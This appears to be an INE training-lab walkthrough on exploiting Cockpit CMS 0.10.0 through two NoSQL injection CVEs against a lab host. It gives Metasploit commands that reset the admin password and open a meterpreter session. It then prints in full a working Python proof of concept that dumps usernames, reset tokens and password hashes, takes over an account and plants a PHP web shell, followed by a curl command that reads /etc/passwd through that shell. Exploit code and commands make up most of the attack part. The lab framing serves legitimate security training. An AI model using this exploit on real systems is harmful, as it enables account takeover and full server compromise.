[CVE-2020-35847 - CVE-2020-35846] Cockpit CMS RCE
In our lab walkthrough series, we go through selected lab exercises on our INE Platform. Subscribe or sign up for a 7-day, risk-free trial with INE and access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!
Purpose: We are learning how to exploit the Cockpit CMS vulnerable version using the Metasploit Framework and a Python script.
Technical difficulty: Beginner
Introduction
In 2020-2021, a critical vulnerability was uncovered in the Cockpit CMS. The original discovery by Nikita Petrov and Team at Positive Technologies. Cockpit CMS 0.10.0 - 0.11.1 is vulnerable to two CVEs (CVE-2020-35847 and CVE-2020-35846). An attacker can extract the user accounts using NoSQL injection and perform remote code execution on the target.
The vulnerability severity base score is 9.8.
Lab Environment
In this lab environment, the user will access a Kali GUI instance. A vulnerable machine Cockpit CMS deployed on http://demo.ine.local.
Goal after completing this scenario: Exploit the Cockpit CMS using a Metasploit exploit module and a python POC script.
Tools
The best tools for this lab are:
- Nmap
- Bash Shell
- Metasploit Framework
- Python
What is Apache Cockpit CMS?
The cockpit is a headless CMS with an API-first approach that puts content first. It is designed to simplify the process of publication by separating content management from content consumption on the client side.
The cockpit is focusing just on the back-end work to manage content. Rather than worry about the delivery of content through pages, its goal is to provide structured content across different channels via a simple API.
Key features
Manage flexible content models. There are no pre-defined content models. Define the content model yourself.
Uncluttered UI. The cockpit offers you a modern and simple user interface.
One system, consume it the way you want. Receive your content via a simple API.
Source: https://getcockpit.com/documentation/getting-started
CVE-2020-35846
Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php check function.
CVE-2020-35847
Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php resetpassword function.
There is an excellent technical analysis blog post by Nikita Petrov https://swarm.ptsecurity.com/rce-cockpit-cms/.
One can perform NoSQL injection and extract sensitive information (username and extract password reset tokens). This information is later used to access the admin panel and upload a malicious file (shell.php) to gain complete control of the target server.
The CVE-2020-35846 allows NoSQL injection attack via the Controller/Auth.php check function, and CVE-2020-35847 via the Controller/Auth.php resetpassword function that allows account takeover and remote code execution.
There is a lot of PoCs available to exploit these vulnerabilities. Also a Metasploit module is also available.
Solution
Step 1: Open the lab link to access the Kali machine.
Kali machine
Step 2: Check if the provided machine/domain is reachable.
Command
ping -c 4 demo.ine.local
The provided machine is reachable, and we also found the target's IP address from it.
Step 3: Check open ports on the machine.
Command
nmap demo.ine.local
Port 80 is open.
Step 4: Run the firefox browser and access port 80 to identify the Cockpit CMS version.
URL: http://demo.ine.local
Check page source code.
The web application version is mentioned for the .css and .js files.
Target is running Cockpit CMS 0.10.0
Step 5: Run the Metasploit framework and search for the Cockpit exploit module.
Command
msfconsole -q
search cockpit
A Metasploit module is available to exploit the Cockpit RCE vulnerability.
Step 6: Use the module and check all available options.
Cockpit CMS NoSQLi to RCE
This module exploits two NoSQLi vulnerabilities to retrieve the user list, and password reset tokens from the system. Next, the USER is targetted to reset their password. Then a command injection vulnerability is used to execute the payload. While it is possible to upload a payload and execute it, the command injection provides a no disk write method which is more stealthy. Cockpit CMS 0.10.0 - 0.11.1, inclusive, contain all the necessary vulnerabilities for exploitation.
Source: https://www.rapid7.com/db/modules/exploit/multi/http/cockpit_cms_rce
Commands
use exploit/multi/http/cockpit_cms_rce
show options
Set RHOSTS and LHOST and run the check command to validate the vulnerability. Also, set VERBOSE to true for more details.
Checking attacker machine IP address
Command:
ip addr
Commands
set RHOSTS demo.ine.local
set LHOST 192.125.204.2
set VERBOSE true
check
The target appears to be vulnerable.
Exploit the server.
Command:
exploit
Found the valid username, i.e., admin, but have not received the shell.
Set the USER option in the module to gain the meterpreter session. The module would reset the admin password, and token, then perform RCE to gain the meterpreter session.
Commands:
set USER admin
exploit
getuid
Received the shell.
Note: If you don't receive a shell, re-run the exploit
Step 7: Read the flag.
Commands:
ls /
cat /flag.txt
FLAG: 6ac9e6184ede4c15989f8e62d92960ec
Exploiting Using Python
Step 8: A python code is available to exploit Cockpit CMS RCE vulnerability. Developed by [0z09e](https://github.com/0z09e) .
Exploit Link: https://github.com/0z09e/CVE-2020-35846
Code:
import requests
import json
import re
import random
import string
import urllib
import argparse
import time
def dig_users(session , url):
found = False
users = []
users_data = {
"user" : {
"$func" : "var_dump"
}
}
path = "/auth/requestreset"
print("[*] Sending request to dump users.")
users_req = session.post(url + path , json=users_data)
if "string" in users_req.text:
raw_users = re.findall("string.*" , users_req.text)
[users.append(line.split()[1].replace('\"' , '')) for line in raw_users]
print(f"[+] Found Users : {users}")
return users
else:
print("[-] Maybe the target isn't vulnerable.")
quit()
def change_pass(session , url , user ,password , count=0 , reset=True):
print(f"[+] Changing password of {user}")
print("[*] Requesting for password reset token")
request_data = {
"user" : user
}
resetrequest = session.post(url + "/auth/requestreset" , json=request_data)
if "Invalid address: (From): root@localhost" in resetrequest.text:
token_data = {
"token" : {
"$func" : "var_dump"
}
}
token_request = session.post(url + "/auth/resetpassword" , json=token_data)
token = re.findall("string.*" , token_request.text)[count].split()[1].replace('\"' , "")
print(f"[+] Found token for user {user} : {token}")
print(f"[+] Dumping {user}'s data")
hash_dump_data = {
"token" : token
}
hash_dump_request = session.post(url + "/auth/newpassword" , json=hash_dump_data)
lines = hash_dump_request.text.split("\n")
raw_user_data = re.findall('this.user.*' , hash_dump_request.text)[0].split(" = ")
user_info = json.loads(raw_user_data[1].replace(';' , ''))
if reset:
print(f"[+] Username : {user_info.get('user')}")
print(f"[+] Email : {user_info.get('email')}")
print(f"[+] Group : {user_info.get('group')}")
print(f"[+] Hash : {user_info.get('password')}")
print(f"[*] Resetting {user}'s password.")
password_reset_data = {
"token" : token,
"password" : password
}
password_reset_request = session.post(url + "/auth/resetpassword" , json=password_reset_data)
response = json.loads(password_reset_request.text)
if response.get("success"):
print("[+] Password reset succcessful")
print(f"[+] New password of {user} : {password}")
deploy_shell(session , url , user , password)
else:
print("[-] Can't reset the password.")
quit()
else:
return user_info
else:
print("[-] Maybe the target isn't vulnerable.")
quit()
def deploy_shell(session , url , user , password):
print(f"[*] Logging in as {user}")
csrf_request = session.get(url)
csrf_token = re.findall("csfr.*" , csrf_request.text )[0].split(" : ")[1].replace("\"" , "")
login_data = {
"auth" : {
"user" : user,
"password" : password
},
"csfr" : csrf_token
}
login_req = session.post(url + "/auth/check" , json=login_data)
if (json.loads(login_req.text).get("success")):
print(f"[+] Successfully logged in as {user}")
file_name = f"{''.join([random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for i in range(6)])}.php"
create_file_data = {
"cmd" : "createfile",
"path" : "/",
"name" : file_name
}
create_file_req = session.post(url + "/media/api" , json=create_file_data)
if (json.loads(create_file_req.text).get("success")) == 0:
file_contents_data = {
"cmd" : "writefile",
"path" : file_name,
"content" : "<?php system($_GET['cmd']);?>"
}
file_contents_req = session.post(url + "/media/api" , json=file_contents_data)
if (json.loads(file_contents_req.text).get("success")) == len(file_contents_data.get("content")):
print(f"[+] Bingoo, File has been deployed successfully : {file_name}")
time.sleep(1)
print(f"[+] File's location : {url}/{file_name}")
print(f"[*] Execution example : {url}/{file_name}?cmd=id")
print(f'[+] Output : {requests.get(url + "/" + file_name + "?cmd=id").text.rstrip()}')
print("[+] Good luck for Privilege Escalation :)")
return file_name
else:
print("[-] File deployment failed. Maybe {user} doesn't have the permission to do so. :(")
quit()
else:
print("[-] Login failed, Try Again.")
quit()
def main():
parser = argparse.ArgumentParser(description="""
_________ __ .__ __ ___________________ ___________
\_ ___ \ ____ ____ | | ________ |__|/ |_ \______ \_ ___ \\_ _____/
/ \ \/ / _ \_/ ___\| |/ /\____ \| \ __\ | _/ \ \/ | __)_
\ \___( <_> ) \___| < | |_> > || | | | \ \____| \
\n \______ /\____/ \___ >__|_ \| __/|__||__| |____|_ /\______ /_______ /
\/ \/ \/|__| \/ \/ \/
Cockpit CMS NoSQL Injection to Remote Code Execution : CVE-2020-35846
Poc written by : 0z09e (https://github.com/0z09e)""" , formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument("URL" , help="Target URL. Example : http://10.20.30.40/path/to/cockpit")
parser.add_argument("--dump_all" , action='store_true' , default=False, help="Dump all the informations about each and every user.(No password will be changed and no shell will be deployed)")
args = parser.parse_args()
url = args.URL
dump_all = args.dump_all
password = "P@ssw0rd"
if url[-1] == '/':
url = url[:-1]
print(f"[*] Target : {url}")
session = requests.session()
users = dig_users(session , url)
if dump_all:
users_data = []
for user in users:
custom_session = requests.session()
users_data.append(change_pass(custom_session , url , user , password , count=users.index(user), reset=False))
custom_session.close()
print(f"<{'=' * 30} Informations {'=' * 30}>")
for user_info in users_data:
print(f"[+] Username : {user_info.get('user')}")
print(f"[+] Email : {user_info.get('email')}")
print(f"[+] Group : {user_info.get('group')}")
print(f"[+] Hash : {user_info.get('password')}")
print("\n")
print("<-------------------------------------------------------------------------->")
else:
user = users[0] Changing the 0th user's password
change_pass(session , url , user , password , count=users.index(user))
if __name__ == "__main__":
main()
The PoC exploit would upload a PHP shell <?php system($_GET['cmd']);?> and executes id command. Also, one can extract all valid username, token and password hash.
Copy and save the script on the attacker's machine.
Commands:
nano PoC.py
<paste>
Running the PoC script
Command:
python3 PoC.py http://demo.ine.local
The backdoor successfully uploaded and received id command output.
Run curl to execute other commands.
Command:
curl http://demo.ine.local/KvoZfb.php?cmd=cat+/etc/passwd
Dump all the information about each and every user.
Command:
python3 PoC.py http://demo.ine.local --dump_all
The python PoC code successfully exploited the target Cockpit CMS application and gained access to the target server via php shell.
Conclusion:
We have successfully exploited two CVEs (CVE-2020-35846 and CVE-2020-35847) of the Cockpit CMS using the Metasploit Framework and a Python script.
The Cockpit is a very popular CMS. It has more than 5K starts on Github.
First, we discovered the admin user by exploiting the blind NoSQL injection flaw in the CMS and compromised the target Cockpit CMS using that user.
References
Try this exploit for yourself! Subscribe or sign up for a 7-day, risk-free trial with INE to access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!